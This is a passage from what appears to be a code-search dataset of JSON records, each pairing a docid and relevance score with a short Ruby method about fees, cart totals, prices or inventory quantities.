amount += TRANSACTION_FEE\n super(amount)\n end", "title": "" }, { "docid": "536e8e6430b3cdad5bf1b66daa7d140b", "score": "0.5681447", "text": "def calculate(t, fraud, type)\r\n#\t\tpp \"1\"\r\n\t\treturn 0.0 if type == 'billable' && self.bid_fee #if this fee is a bid fee and we are not looking at the bid fees then return 0, else continue on\r\n\t#\tpp \"2\"\r\n \t\r\n \tfee = self.fixed if self.price_type == 'F'\r\n \r\n fee = (self.fixed + (t.amount * self.percent) + (fraud == '1' ? self.fraud : 0)).at_least(self.min).at_most(self.max) if self.price_type == 'V' #calculate the fee\r\n \r\n return fee if self.sign == '>=' && self.threshold == 0 #if there is no threshold to worry about get out quick...this is what happens the majority of the time\r\n\t\r\n\t\t#if we get here we know we are dealing with a variable fee\r\n\t\t#puts (self.fixed + (t.amount * self.percent) + (fraud == '1' ? self.fraud : 0)).at_least(self.min)\r\n\t#\tfee = (self.fixed + (t.amount * self.percent) + (fraud == '1' ? self.fraud : 0)).at_least(self.min).at_most(self.max) #calculate the fee\r\n\t#\tpp fee\r\n\t#\tpp \"3\"\r\n\t#\treturn fee if self.sign == '>=' && self.threshold == 0 #if there is no threshold to worry about get out quick...this is what happens the majority of the time\r\n\t\t\r\n\t\t#otherwise we need to determine the sign and threshold before we can return\r\n\t\tcase self.sign\r\n\t\t\twhen '>'\r\n\t\t\t #pp \">\"\r\n\t\t\t\treturn fee if t.amount > self.threshold\r\n\t\t\twhen '>='\r\n\t\t\t #pp \">=\"\r\n\t\t\t\treturn fee if t.amount >= self.threshold\r\n\t\t\twhen '<'\r\n\t\t\t #pp \"<\"\r\n\t\t\t\treturn fee if t.amount < self.threshold\r\n\t\t\twhen '<='\r\n\t\t\t #pp \"<=\"\r\n\t\t\t\treturn fee if t.amount <= self.threshold\r\n\t\t\telse\r\n\t\t\t #pp \"4\"\r\n\t\t\t\treturn 0.0\r\n\t\tend\r\n\t\t\r\n\t\t#if we get here then we have no idea what to do so just return 0\r\n\t\treturn 0.0\r\n\tend", "title": "" }, { "docid": "769f483b221da1356e874bfbe67bbd66", "score": "0.56769145", "text": "def total_non_insured_fees\n total_fee - total_insured_fees\n end", "title": "" }, { "docid": "b93b7aa1647de6d01b5eb998a54a1d76", "score": "0.56744045", "text": "def subtotal\n fees = [ticket_fees_in_cents].sum\n\n discounted_total + fees\n end", "title": "" }, { "docid": "ad26bc6eac59b8df4f375317c2652b13", "score": "0.56742316", "text": "def debt_payment\n loan_proceeds = 0\n debt_rate * loan_proceeds\n end", "title": "" }, { "docid": "6655587746ae5c69c5637f2ded31cc80", "score": "0.5657408", "text": "def cost\n sales_fee\n end", "title": "" }, { "docid": "7166df63cff4f7b9ce71c60bb7811de8", "score": "0.56566346", "text": "def get_fee_vote\n fee = self.blocks_get_fees\n if fee[\"success\"]\n return fee[\"fees\"][\"vote\"]\n else\n return nil\n end\n end", "title": "" }, { "docid": "5bc5a3896a2addaa4bee06cd4d712fc5", "score": "0.56556976", "text": "def normalize_fee(a_fee)\n Money.new(a_fee.cents <= 0 ? a_fee.cents : -a_fee.cents, a_fee.currency)\n end", "title": "" }, { "docid": "64c13ac1150ddd008c17147748a6faab", "score": "0.56538826", "text": "def get_btc_profit\n quantity - close_positions.sum(:quantity)\n end", "title": "" }, { "docid": "c0d708b914ca1ba44426432c43ac6677", "score": "0.565122", "text": "def calculate_trial_debt\n\n\t\tsales_tax = self.country.sales_tax\n\t\tday_number = Time.now.day\n \tmonth_number = Time.now.month\n \tmonth_days = Time.now.days_in_month\n\n\t\tdebt_proportion = (month_days - day_number + 1).to_f/month_days.to_f\n\n\t\t#debt = self.plan.plan_countries.find_by(country_id: self.country.id).price.to_f * debt_proportion * ( 1 + sales_tax)\n\t\tdebt = self.company_plan_setting.base_price * self.computed_multiplier * debt_proportion * (1 + sales_tax)\n\n\t\treturn debt\n\n\tend", "title": "" }, { "docid": "93f45ddbc28df3dcbb38d0782df4df0a", "score": "0.5650039", "text": "def trust_price_tao\n setting_price = get_setting_price('TradeBid')\n if setting_price.activate_price\n setting_price.price\n else\n global = Global.new(\"#{currency}#{payment_type}\")\n return 0 if global.last_buy.nil?\n return 0 if global.last_buy[:price].nil?\n global.last_buy[:price]\n end\n end", "title": "" }, { "docid": "ba3de90acd3cb40f55f5836c9f33c1ac", "score": "0.56426215", "text": "def amount\n difference\n end", "title": "" }, { "docid": "1c3815aa53b045aee94115a95d0d2fff", "score": "0.56385964", "text": "def getFeeObjName\r\n\t\t return \"mfiforce__fee__c\"\r\n\t\tend", "title": "" }, { "docid": "62c382470f4b5ca8db290777189cd9c2", "score": "0.56292313", "text": "def buy_ticket()\n sql = \"SELECT SUM (films.price) FROM films INNER JOIN tickets ON films.price = tickets.film_id WHERE tickets.customer_id = $1\"\n values = [@id]\n result = SqlRunner.run(sql, values).first\n return @funds - result['sum'].to_i\n end", "title": "" }, { "docid": "83bfb3becadcbe0be5dc87e117558a91", "score": "0.562623", "text": "def pay_entry_fee(entry_fee)\n # if the guest has enough cash for entry_fee\n if @cash >= entry_fee\n # decrement guest cash by entry_fee\n @cash -= entry_fee\n # update guest entry_paid to true\n update_entry_paid()\n end\n end", "title": "" }, { "docid": "ed1c4741fbcd4aacb91aae6659ed9052", "score": "0.5611812", "text": "def last_trade_price\n quote.last_trade_price\n end", "title": "" }, { "docid": "a16590f335160a376506c7efe3a4ecd0", "score": "0.5608797", "text": "def application_fee_without_tax\n application_fee * (1 - tax_rate / 100)\n end", "title": "" } ]
f13e016ca5db82a57ff6d31d71c8ef81
adding a negative amount of something is kinda dumb split into specific methods consider what other classes will need to call on Inventory, ie what features and methods it needs to provide, and how to do that so that it reads nicely
[ { "docid": "c43df50d298950b1bfff1c0dd6646002", "score": "0.0", "text": "def add_lemons(number_of_lemons)\n raise 'cannot add negative lemons' if number_of_lemons < 0\n @lemons += number_of_lemons\n end", "title": "" } ]
[ { "docid": "fb139887e8984ddff7416935bedc48d2", "score": "0.656015", "text": "def build_inventory\n add_to_inventory(\"cats\", 4, 50.0)\n add_to_inventory(\"dogs\", 10, 150.0)\n add_to_inventory(\"unicorn\", 1, 1000.0)\nend", "title": "" }, { "docid": "79a20b8f5c324795bfbf2ea080f1e1bd", "score": "0.643468", "text": "def inventory_without_hiting_the_database\n variants.inject(0) {|total, variant| total += variant.inventory}\n end", "title": "" }, { "docid": "acfbd27a9154188f01333abab958a509", "score": "0.6418232", "text": "def qty_to_add\n 0\n end", "title": "" }, { "docid": "acfbd27a9154188f01333abab958a509", "score": "0.6418232", "text": "def qty_to_add\n 0\n end", "title": "" }, { "docid": "15a2893ea92eca0e345e721e32be1d5f", "score": "0.63144433", "text": "def reserve_inventory!(order_quantity)\n self.quantity -= order_quantity\n save!\n end", "title": "" }, { "docid": "ad8a8c709a9235180c1ef86e5aacd4b0", "score": "0.6241659", "text": "def add_to_inventory(item)\n @items << item\n equip(item)\n items_weight\n end", "title": "" }, { "docid": "96d6c7d0fcc08becaf631c5a74aab489", "score": "0.6239256", "text": "def shipped\n corresponding_item = self.item.take\n current_inventory = corresponding_item.inventory_level\n corresponding_item.update_attribute(:inventory_level, (self.quantity + current_inventory)) unless previous.nil?\n self.update_attribute(:shipped_on, date.current.to_date)\n\n def item_exists_and_active?\n all_active_items = Item.active.all.map(&:id)\n if all_active_items.include?(self.item_id)\n return true\n end\n errors.add(:item_id, \"is not an active item at the chess store\")\n return false\n end\n\n def subtotal(date = nil)\n end\n\n def valid_quantity?\n if self.quantity >= 0\n return true\n end\n stock_quantity = self.item.inventory_level\n if (self.quantity* -1) > stock_quantity\n errors.add(:quantity, \"too much purchase quantity\")\n return false\n end\n return true\n end\nend", "title": "" }, { "docid": "a2be4cf08aed7abc9b4246e2a174e6e7", "score": "0.6196369", "text": "def add\n\t\t# se o usuário não entiver infectado e já existir o inventário salvo, insere a qauantidade no inventário\n\t\tunless User.healthy? inventory_params[:user_id]\n \t \trender json: { error: \"Denied access. User is contaminated!\" }, status: 403 and return\n\t\tend\n\n\t\tif @inventory.add(inventory_params[:amount].to_i)\n\t\t\trender json: @inventory, status: 200\n\t\telse\n\t\t\trender json: @inventory.errors, status: :unprocessable_entity\n\t\tend\n\tend", "title": "" }, { "docid": "8736ba921f1d84bf8ea8cbf7a46c447f", "score": "0.6194639", "text": "def positive; end", "title": "" }, { "docid": "8736ba921f1d84bf8ea8cbf7a46c447f", "score": "0.6194639", "text": "def positive; end", "title": "" }, { "docid": "9f2e952e5ce1d6dc2a9ff37f60de6019", "score": "0.61190873", "text": "def get_worth_of(inventory)\n inventory.inject(0) { |sum, inv| (inv.respond_to? :price) ? (sum + inv.price) : (sum) } \n end", "title": "" }, { "docid": "4d303f99c3a0b1bb8ceb6fca0cc54808", "score": "0.61083543", "text": "def reshelf(product, quantity)\n # NOT DEFINED IN EXAMPLES\n @inventory[product][\"quantity\"] += quantity\nend", "title": "" }, { "docid": "c658f5ef6106f221bfbea388a1854417", "score": "0.60978264", "text": "def withInventory\n\t\t@inventoryItems = Item.where(:inventory > 0)\n\tend", "title": "" }, { "docid": "39bc64fd6f7459c4dc56741d75a290ea", "score": "0.6095173", "text": "def add_item(inventory, item, quantity)\n\tinventory[item] = quantity\n\t@full_inventory = inventory\n\t#this is what updates your inventory with the new item & quantity.\nend", "title": "" }, { "docid": "521ae4d9380479647b46de633d48d8f6", "score": "0.60363525", "text": "def add_item(title, price, quantity = 1)\n @total += price*quantity\n @instance_items << [title, price, quantity]\nend", "title": "" }, { "docid": "3f4c027e982a086423071249adb42e3e", "score": "0.59692085", "text": "def withdraw exit_date, estimated_return_date, pickup_company, pickup_company_contact, additional_comments, quantity, folio\n \n return self.status if cannot_withdraw?\n\n if quantity != '' and quantity < self.quantity.to_i\n self.quantity = self.quantity.to_i - quantity\n quantity_withdrawn = quantity\n else\n self.status = InventoryItem::OUT_OF_STOCK\n quantity_withdrawn = self.quantity\n self.quantity = 0\n end\n \n if self.save\n inventory_item = InventoryItem.where( 'actable_id = ? AND actable_type = ?', self.id, 'BulkItem' ).first\n if self.warehouse_locations?\n quantity_left = quantity\n if quantity != '' and quantity < ( self.quantity.to_i + quantity_withdrawn.to_i )\n item_location = self.item_locations.where( 'quantity >= ?', quantity ).first\n location = item_location.warehouse_location\n location.remove_quantity( inventory_item.id, quantity )\n elsif quantity != ''\n while quantity_left > 0\n item_location = self.item_locations.first\n location = item_location.warehouse_location\n if quantity_left >= item_location.quantity \n current_location_quantity = item_location.quantity \n location.remove_item( inventory_item.id )\n self.item_locations.delete( item_location )\n location.update_status\n else\n location.remove_quantity( inventory_item.id, quantity_left )\n end\n quantity_left = quantity_left - current_location_quantity\n end\n else\n item_location = self.item_locations.first\n location = item_location.warehouse_location\n location.remove_item( inventory_item.id )\n self.item_locations.delete( item_location )\n location.update_status\n end\n end\n CheckOutTransaction.create( :inventory_item_id => inventory_item.id, :concept => 'Salida granel', :additional_comments => additional_comments, :exit_date => exit_date, :estimated_return_date => estimated_return_date, :pickup_company => pickup_company, :pickup_company_contact => pickup_company_contact, :quantity => quantity_withdrawn, :folio => folio )\n return true\n end\n\n return false\n end", "title": "" }, { "docid": "5c544e3cc10023f5d33bbc317c68aa1d", "score": "0.5967311", "text": "def add_to_cart(product, amount)\n purchase = \" • #{amount} #{product}\\n\"\n @cart << purchase\n\n cost_per_item = @inventory[product][\"price\"]\n @total_cart_value += (cost_per_item * amount)\n\n @inventory[product][\"quantity\"] -= amount\nend", "title": "" }, { "docid": "cdb84dcacf6fb6f6054fe08caece7fcc", "score": "0.5960264", "text": "def expected_inventory\n result = @inventory.dup\n # TODO DRY this up with `Person#eat`\n result[:fish] -= @daily_appetite = 10\n result\n end", "title": "" }, { "docid": "1c086abc6546148671711d86a5592714", "score": "0.59316635", "text": "def add_sign_to_quantity\n end", "title": "" }, { "docid": "9d319760caffd26a7c3ee668f22c2eed", "score": "0.59302944", "text": "def gain_item(item, n, include_equip = false)\n number = item_number(item)\n case item\n when RPG::Item\n @items[item.id] = [[number + n, 0].max, 99].min\n when RPG::Weapon\n @weapons[item.id] = [[number + n, 0].max, 99].min\n when RPG::Armor\n @armors[item.id] = [[number + n, 0].max, 99].min\n end\n n += number\n if include_equip and n < 0\n for actor in members\n while n < 0 and actor.equips.include?(item)\n actor.discard_equip(item)\n n += 1\n end\n end\n end\n end", "title": "" }, { "docid": "186910f6d63757bfbc00c616574349d0", "score": "0.59243256", "text": "def sell_inventory(material, quantity)\n material.quantity -= quantity\n end", "title": "" }, { "docid": "1fce6c5eac5966b21a47453026ac387a", "score": "0.5901365", "text": "def lose_item(item, amount, include_equip = false, opp = Vocab::Coinbase, info = '', display = true)\n gain_item(item, -amount, true, opp, info, display) if include_equip\n gain_item(item, -amount, false, opp, info, display) if !include_equip\n end", "title": "" }, { "docid": "087e6a6db9332a22e0d6a170f195cd29", "score": "0.58964515", "text": "def add_water(amount)\n end", "title": "" }, { "docid": "087e6a6db9332a22e0d6a170f195cd29", "score": "0.58964515", "text": "def add_water(amount)\n end", "title": "" }, { "docid": "4921f9f1f8907682ff73bb4b61784772", "score": "0.5894506", "text": "def add(quant)\n\t\tself.quantity += quant\n\tend", "title": "" }, { "docid": "694743611a5e103d83c7bb63938460ae", "score": "0.58747184", "text": "def pick_up(item)\n expected_weight = items_weight + item.weight\n if expected_weight <= 250\n item.is_a?(Weapon) ? @equipped_weapon = item : items << item \n else\n return false\nend\nend", "title": "" }, { "docid": "d9ae43dfbb9a3271f89cf8cb6e36c335", "score": "0.586672", "text": "def add_to_inventory(price, description)\n\t\tself.items << Item.new(price, description)\n\tend", "title": "" }, { "docid": "23d3416611d15ce1d0424d62199690b5", "score": "0.58595824", "text": "def add_item(title, price, quantity=1)\n self.total += price * quantity #Think about this logically\n #you go into a store and buy and item. How do you get the total of the item.\n #you MULTIPLY BY THE PRICE!!!! DURRRRR!!! GOD MORTY YOUR SO DUMB\n @price = price\n #do this x amount of times.\n quantity.times do\n @items << title\n end\n\n end", "title": "" }, { "docid": "eacd57dfb72d5243c35eb7f5f71ecb00", "score": "0.58585405", "text": "def test_add_product_with_negative_quantity\n a_cart = Order.new\n a_cart.add_product(items(:blue_lightsaber), 2)\n a_cart.add_product(items(:blue_lightsaber), -1)\n a_cart.reload\n # Calling add_product with a negative quantity should remove that many units\n assert_equal 1, a_cart.items[0].quantity\n a_cart.add_product(items(:blue_lightsaber), -3) \n# a_cart.reload\n assert a_cart.empty?\n end", "title": "" }, { "docid": "93bc00678e98af3aec32fc9b234501b3", "score": "0.5824713", "text": "def catch_fish\n inventory[:fish] += @skills[:fish]\n end", "title": "" }, { "docid": "0d8600e9ff2e6c33078d93d6c2a67b74", "score": "0.5813721", "text": "def modInventory(opn)\n listProducts\n\n print \"Please Choose the Product : \"\n prod = @@products[gets.to_i - 1]\n\n if opn == \"add\"\n print \"Please provide number of Units to be added to Inventory : \"\n units = gets.to_i\n post_add_units = prod.units + units\n puts \"post_add_units : #{post_add_units}, prod_max_stock : #{prod.max_stock}\"\n\n if (prod.max_stock < post_add_units)\n prod.units += units\n else \n puts \"Oops! Maximum stock limit is getting exceeded. We can not accomodate #{units}-more units! :(\"\n end\n\n if prod.max_stock - prod.units <= 2\n puts \"\\n ***** Inventory Alert ***** \\n We can only accomodate #{prod.max_stock - prod.units} more Units. \\n Please do the needful to release some Inventory.\"\n end\n end\n\n if opn == \"remove\"\n print \"Please provide number of Units to be removed from Inventory : \"\n units = gets.to_i\n post_remove_units = prod.units - units\n\n if prod.min_stock > post_remove_units\n prod.units -= units\n else \n puts \"Oops! Minimum stock limit is getting breached. We can not release #{units}-more units! :(\"\n end\n\n if prod.units - prod.min_stock <= 2\n puts \"\\n ***** Inventory Alert ***** \\n We have only #{prod.units} more Units of #{prod.name} in Stock. \\n Please do the needful to procure some Inventory.\"\n end\n end\n end", "title": "" }, { "docid": "9bdc290746a0bc3ae2baab3a8a0c3369", "score": "0.57980144", "text": "def available_inventory\n object.check_inventory\n end", "title": "" }, { "docid": "cddcdd23adf86db8da096a7239d90a9e", "score": "0.5780295", "text": "def add_inventory(sku,quantity,price)\n #Instantiate a Product object\n product = Product.new\n product.sku = sku\n product.quantity_price = quantity\n product.price = price\n #If the product does not have the sku just entered, insert the product into the hash\n #Otherwise, find the product with the relevant sku in the hash\n if !@products.has_key?(product.sku)\n @products[product.sku] = product\n else\n existing_product = @products.fetch(product.sku)\n if(product.price != existing_product.price)\n calculate_exceptions(product.sku,product.quantity,product.price)\n end\n end#end if\n end", "title": "" }, { "docid": "e2c3744869c87470c85f11ecaf907af9", "score": "0.5746169", "text": "def use_item(item_name:, quantity:)\n total_items_quantity[item_name] -= quantity\n end", "title": "" }, { "docid": "a7ecdacb68c7b8317520ae5448bdc22c", "score": "0.57445437", "text": "def wealth\n @gold + inventory_worth\n end", "title": "" }, { "docid": "ec24e5e1e250135fe989709678ee6783", "score": "0.5741794", "text": "def stock\n\n inventory = case presentation_unit_type_measurement.name\n when PresentationUnitTypeMeasurement::SUPERFICIAL\n inventory_for_superficie_presentation_unit_type_measurement\n when PresentationUnitTypeMeasurement::LOGITUDINAL\n inventory_for_longitudinal_presentation_unit_type_measurement\n else\n #TODO LOGGER\n 0\n end\n\n \n\n invoiced = case presentation_unit_type_measurement.name\n when PresentationUnitTypeMeasurement::SUPERFICIAL\n invoiced_for_superficie_presentation_unit_type_measurement\n when PresentationUnitTypeMeasurement::LOGITUDINAL\n invoiced_for_longitudinal_presentation_unit_type_measurement\n else\n #TODO LOGGER\n 0\n end\n\n inventory - invoiced\n end", "title": "" }, { "docid": "e352ae9b07785e0250a8852542fe1139", "score": "0.5739421", "text": "def lose_item(item, n, include_equip = false)\n gain_item(item, -n, include_equip)\n end", "title": "" }, { "docid": "15621dc7b560089e3ae88d59e475cdb6", "score": "0.5729853", "text": "def sell_quantity\r\n 100000000000\r\n end", "title": "" }, { "docid": "74bb8fe28847c74d28ac54ffebdab766", "score": "0.57088315", "text": "def required_gold(equip)\n equip.price / 4\n end", "title": "" }, { "docid": "ebedb1504a7ad9797d51aa2fdd039541", "score": "0.5706972", "text": "def compute_damage\n super * @weapon_level\n end", "title": "" }, { "docid": "bdd79b7ec85d2c3ef8ccbb894b26f478", "score": "0.56934977", "text": "def update_inventory(format, amount)\n\t\tcase format.downcase\n\t\twhen \"cd\"\n\t\t\tif (@cd_count + amount) >= 0\n\t\t\t\t@cd_count += amount\n\t\t\telse\n\t\t\t\tputs \"ERROR: Not enough stock\"\n\t\t\tend\n\t\twhen \"tape\"\n\t\t\tif (@tape_count + amount) >= 0\n\t\t\t\t@tape_count += amount\n\t\t\telse\n\t\t\t\tputs \"ERROR: Not enough stock\"\n\t\t\tend\n\t\t\t\n\t\twhen \"vinyl\"\n\t\t\tif (@vinyl_count + amount) >= 0\n\t\t\t\t@vinyl_count += amount\n\t\t\telse\n\t\t\t\tputs \"ERROR: Not enough stock\"\n\t\t\tend\n\t\telse\n\t\t\tputs \"Incompatible Music Format\"\n\t\tend\n\tend", "title": "" }, { "docid": "3aada95a5a688bba860e7cbb2bf5dc69", "score": "0.5684224", "text": "def amount; end", "title": "" }, { "docid": "4b63ec96621f103cd36a6ba949024234", "score": "0.5678922", "text": "def zero_quantity_phrase\n 'No more'\n end", "title": "" }, { "docid": "bd2ff39013156bcd1dc688a9e12fcb28", "score": "0.5671994", "text": "def increase!(amount = 1)\n transaction do\n self.quantity += amount\n unless in_stock?\n # fail Shoppe::Errors::NotEnoughStock, ordered_item: ordered_item, requested_stock: self.quantity\n end\n save!\n # order.remove_delivery_service_if_invalid\n end\n end", "title": "" }, { "docid": "4935f5bcd5952b6de54ec9feedb88637", "score": "0.5668999", "text": "def consume_items(item_quantities)\n item_quantities.each do |ingredient_name, quantity|\n @ingredients[ingredient_name] = @ingredients[ingredient_name] - quantity\n end\n end", "title": "" }, { "docid": "bc2c6bda745bc540193ae5582848be05", "score": "0.5665372", "text": "def stock_minus(product, amount)\n product = Product.find(product)\n quantity = product.quantity\n quantity -= amount.to_i\n product.update(quantity: quantity)\n end", "title": "" }, { "docid": "186b413d9b6d265f85883bd3686043ba", "score": "0.56642497", "text": "def available_inventory\n return self.inventory\n end", "title": "" }, { "docid": "818d8698e4e929b871a3c1e4664579fc", "score": "0.5648909", "text": "def consume_item(type, id)\n action = eval(type + '_Need_Items.dup')\n equipment = eval(type + '_Need_Equiped.dup')\n if action.include?(id)\n for need in action[id]\n $game_party.lose_item(need[1], need[2]) if need[0] == 'i' \n $game_party.lose_armor(need[1], need[2]) if need[0] == 'a' \n $game_party.lose_weapon(need[1], need[2]) if need[0] == 'w' \n end\n end\n if equipment.include?(id)\n if $atoa_script['Atoa Multi Slot']\n for need in equipment[id]\n equipments = armors.dup if need[0] == 'a'\n equipments = weapons.dup if need[0] == 'w'\n for i in 0...equips.size\n if action_id(equip[i]) == need[1]\n equip(i, 0)\n $game_party.lose_armor(need[1], need[2]) if need[0] == 'a'\n $game_party.lose_weapon(need[1], need[2]) if need[0] == 'w'\n equip(i, equip[i].id)\n end\n end\n end\n else\n for need in equipment[id]\n equipments = armors.dup if need[0] == 'a'\n equipments = weapons.dup if need[0] == 'w'\n for equip in equipments\n if equip.type_name == 'Weapon'\n type = 0\n else\n type = 1 if equip.id == @armor1_id\n type = 2 if equip.id == @armor2_id\n type = 3 if equip.id == @armor3_id\n type = 4 if equip.id == @armor4_id\n end\n if action_id(equip) == need[1]\n equip(type, 0)\n $game_party.lose_armor(need[1], need[2]) if need[0] == 'a'\n $game_party.lose_weapon(need[1], need[2]) if need[0] == 'w'\n equip(type, equip.id)\n end\n end\n end\n end\n end\n end", "title": "" }, { "docid": "28d626654a36a8f63ecb9c8e778bc49c", "score": "0.56371754", "text": "def add_to_order(add_qty=0)\n \t@quantity += add_qty\n end", "title": "" }, { "docid": "7eb250959ce8ed3cd49d0d95101a9169", "score": "0.5629689", "text": "def move_inventory!(transfer)\n updated_quantities = {}\n item_validator = Errors::InsufficientAllotment.new(\"Transfer items exceeds the available inventory\")\n transfer.line_items.each do |line_item|\n inventory_item = self.inventory_items.find_by(item: line_item.item)\n new_inventory_item = transfer.to.inventory_items.find_or_create_by(item: line_item.item)\n next if inventory_item.nil? || inventory_item.quantity == 0\n if inventory_item.quantity >= line_item.quantity\n updated_quantities[inventory_item.id] = (updated_quantities[inventory_item.id] || inventory_item.quantity) - line_item.quantity\n updated_quantities[new_inventory_item.id] = (updated_quantities[new_inventory_item.id] ||\n new_inventory_item.quantity) + line_item.quantity\n else\n item_validator.add_insufficiency(line_item.item, inventory_item.quantity, line_item.quantity)\n end\n end\n \n raise item_validator unless item_validator.satisfied?\n\n update_inventory_inventory_items(updated_quantities)\n end", "title": "" }, { "docid": "7e08c75495aa35c401b01d53ffacb196", "score": "0.56238604", "text": "def add_item amount, tax, name, discount=0, full_amount=0\n begin\n case TaxGuess.guess(amount, tax)\n when :tax0\n @total_0 += amount.round(2)\n when :tax7\n if discount != 0\n @total_7 += full_amount.round(2)\n @discount_7 += discount\n else\n @total_7 += amount.round(2)\n end\n @tax_7 += tax\n when :tax19\n if discount != 0\n @total_19 += full_amount.round(2)\n @discount_19 += discount\n else\n @total_19 += amount.round(2)\n end\n if swiss?\n Magelex::logger.info(\"19% Tax Item in swiss order: #{@order_nr}: #{name}\")\n end\n @tax_19 += tax\n when :empty_item\n Magelex::logger.debug(\"Empty item: '#{name}' #{amount}, tax: #{tax}\")\n end\n rescue RuntimeError\n Magelex::logger.warn(\"Unguessable tax (#{@order_nr}: #{name} #{amount}/#{tax})\")\n @has_problems = true\n end\n end", "title": "" }, { "docid": "c8848e8c14da600f7a74c91ea6690a86", "score": "0.56213665", "text": "def has_inventory?\n inventory_count > 0\n end", "title": "" }, { "docid": "c8848e8c14da600f7a74c91ea6690a86", "score": "0.56213665", "text": "def has_inventory?\n inventory_count > 0\n end", "title": "" }, { "docid": "3b8b3e34d63f0ebf08aa63ee1b53bd6c", "score": "0.5612088", "text": "def drop(quant = nil)\n if quant.nil?\n self.is_had = false\n save\n \"dropped #{self.quantity} #{self.name}\"\n else\n self.quantity_consumed += quant\n if quantity < 0\n raise \"Cannot have negative items!\"\n end\n save\n \"dropped #{quant} #{name}\"\n end\n end", "title": "" }, { "docid": "11defbb4cbb70bc641d6f2b9c97bb597", "score": "0.5610659", "text": "def worthInventory\n total_worth = 0\n @@products.each_with_index { |p, i|\n prod_worth = (p.price * p.units)\n total_worth = total_worth + prod_worth\n\n puts \"#{i + 1} : #{p.name} - #{p.units} at INR Rs.#{p.price} each : INR Rs.#{prod_worth}\"\n }\n\n puts \"--\" * 20\n puts \"Total Inventory Worth : INR Rs.#{total_worth}\"\n puts \"--\" * 20\n end", "title": "" }, { "docid": "70a6539c93064dad65b99c82ed5ebb2b", "score": "0.56100464", "text": "def add_inventory\n begin\n if product_params[:sku].present? && inventory_stock_params[:items_count].present?\n\n # SKU will remain unique through out the course of application\n @product = Product.find_by_sku(product_params[:sku])\n if @product.present?\n # In case of existing product with provided SKU, product will get updated with\n # parameters of name and price if provided .\n @product.update_attributes!(product_params) if product_params[:name] ||\n product_params[:price]\n else\n # In case of no product found with provided SKU, then new product will be created\n @product = Product.create!(product_params)\n end\n @product_stock = @product.stock_inventories\n .available_stock_for_specific_distribution_center(@distribution_center.id).first\n\n # If there isn't any stock entry for such product in specified distribution center.\n @product_stock = @product.stock_inventories.create!(available: true,\n items_count: 0,\n distribution_center_id:\n @distribution_center.id) unless @product_stock.present?\n\n # Update the inventory count.\n if @product_stock.update_attribute(:items_count,\n @product_stock.items_count +\n inventory_stock_params[:items_count].to_i)\n response = {message: \"Inventory has been updated successfully.\"}\n status_code = 200\n else\n response = {errors:\n [{detail: \"We can't apply this operation at this time, please try later.\"}]}\n status_code = 403\n end\n else\n response = {errors:\n [{detail: \"Required parameters are missing.\"}]}\n status_code = 400\n end\n rescue => ex\n response = {errors: [{detail: ex.message}]}\n status_code = 403\n end\n render json: response, status: status_code\n end", "title": "" }, { "docid": "344d29e8ad908a1b0d419b16f50955f1", "score": "0.5609194", "text": "def reduce_inventory\n Inventory.reduce_inventory(prize)\n end", "title": "" }, { "docid": "a19955bfa81e605d79540fa3574ecca8", "score": "0.56055915", "text": "def redeem\n #TO BE IMPLEMENTED\n end", "title": "" }, { "docid": "14c1d9baa8ff1919bec95036735410bc", "score": "0.56008446", "text": "def decrement_inventory!\n self.available_inventory = self.available_inventory - 1\n self.save\n end", "title": "" }, { "docid": "a0f22ee4c8c8798805daa1c102f768b0", "score": "0.55991256", "text": "def add\n super\n return 77\n end", "title": "" }, { "docid": "aa167db7577029832a8ea865ba28856a", "score": "0.55990535", "text": "def equipment; end", "title": "" }, { "docid": "97071d18db8c789360ed2b314e6e6d5b", "score": "0.55930096", "text": "def add_item(item)\n item.item_number = @@item_number\n @@item_number += 1\n @grocery_item << item\n\n # starting the logic for finding out what type of item it is and if it will be\n # allowed to be taxed. < -- Continue here\n if @grocery_item.item_type == \"books\"\n\n end\n\n\n\nend", "title": "" }, { "docid": "a6bb5b74430084bd45c721720a8e2d02", "score": "0.5590663", "text": "def qty_to_add=(num)\n ### TODO this method needs a history of who did what\n inventory.lock!\n self.inventory.count_on_hand = inventory.count_on_hand.to_i + num.to_i\n inventory.save!\n end", "title": "" }, { "docid": "303bb17f947291449b1456030c81b113", "score": "0.5589532", "text": "def recover_usage(quantity_to_be_recovered)\n self.used_quantity -= quantity_to_be_recovered \n self.save \n \n self.unmark_as_finished\n \n \n \n item = self.item \n item.add_ready_quantity( quantity_to_be_recovered ) \n \n return self \n end", "title": "" }, { "docid": "0b710cb31b8ef9f476a727de161e44de", "score": "0.5588885", "text": "def quantity_max_available_for_amend\n quantity + quantity_rejected\n end", "title": "" }, { "docid": "f0be3697e7ea5f02def6d61bf84f3a1e", "score": "0.5582178", "text": "def buy\n if self.inventory_count == 0\n return false\n else\n # for now, decrementing the inventory count when purchasing a product will do\n self.decrement!(:inventory_count)\n # in the future, could return a receipt number, etc.\n return true\n end\n end", "title": "" }, { "docid": "4e2cc88f6a24823776cc9cbebe81a80d", "score": "0.55747133", "text": "def add_to_available_amount\n api_model = AddToAvailableAmount.new(@inventory_item,params[:amount])\n was_operation_successful = api_model.update_db()\n handle_response_for_update_operation(was_operation_successful,api_model)\n end", "title": "" }, { "docid": "d8f0297d6e091c457c2b9147c7dafc98", "score": "0.5562824", "text": "def update_quantity(grocery_list, item, quantity)\r\n add_item(grocery_list, item, quantity)\r\n \r\nend", "title": "" }, { "docid": "25da726d20e73cf6c16a2474ce2a8fab", "score": "0.55597776", "text": "def add_quantity(number)\n @quantity += number\n end", "title": "" }, { "docid": "e903a3b02c743a33e60c240813918ac7", "score": "0.55530304", "text": "def quantity\n 1\n end", "title": "" }, { "docid": "e487ea323af9f37d4f848e1ca8a41374", "score": "0.5542667", "text": "def purchase(item)\n \"thank you for visiting supermarket and buying #{item}!\" # this will overwrite the mixin above\n end", "title": "" }, { "docid": "e487ea323af9f37d4f848e1ca8a41374", "score": "0.5542667", "text": "def purchase(item)\n \"thank you for visiting supermarket and buying #{item}!\" # this will overwrite the mixin above\n end", "title": "" }, { "docid": "133ea0d56969ba160f5ee34524681ffd", "score": "0.55354327", "text": "def add_item(string, float, integer = 1)\n # adds item price to total\n @total += float * integer\n # accepts an optional quantity of the item\n quantity = integer\n # loops to add item multiple times to the list \n quantity.times {@items << string}\n # holds the amount of the last transaction\n self.last_transaction = float * quantity\n end", "title": "" }, { "docid": "d7d73fd1cb163e5b357450940b1e0ea3", "score": "0.5534468", "text": "def add_item (item, optional_quantity = 0)\n item_hash[item] = optional_quantity\nend", "title": "" }, { "docid": "b6c9c585c25f8d44e003f42cea36c3fb", "score": "0.55250025", "text": "def add_item(title, price, quantity=1)\n self.total 